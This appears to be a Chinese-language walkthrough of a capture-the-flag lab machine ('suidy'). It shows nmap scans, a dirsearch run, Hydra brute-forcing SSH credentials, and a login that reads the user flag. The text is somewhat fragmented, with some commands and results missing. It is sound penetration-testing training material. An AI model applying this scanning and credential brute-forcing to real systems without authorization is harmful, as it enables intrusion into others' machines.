kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.1.103 [18:58:56] [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 18:59 CST Nmap scan report for 192.168.1.103 Host is up (0.0016s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:B3:E6:17 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
kali@kali [~] ➜ sudo nmap -sT -sC -sV -O -p22,80 192.168.1.103 [18:59:19] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-15 19:00 CST Nmap scan report for 192.168.1.103 Host is up (0.00056s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA) | 256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA) |_ 256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:B3:E6:17 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.35 seconds
80端口渗透
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
kali@kali [~] ➜ sudo dirsearch -u http://192.168.1.103 [19:00:48] /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-15 19:14:31 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 32 tasks per 1 server, overall 32 tasks, 100 login tries (l:10/p:10), ~4 tries per task [DATA] attacking ssh://192.168.1.103:22/ [22][ssh] host: 192.168.1.103 login: theuser password: thepass 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-15 19:14:48
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Feb 15 09:37:39 2025 from 192.168.1.4 theuser@suidy:~$ ls user.txt theuser@suidy:~$ cat user.txt |base64 SE1WMjM1M0lWSQo= theuser@suidy:~$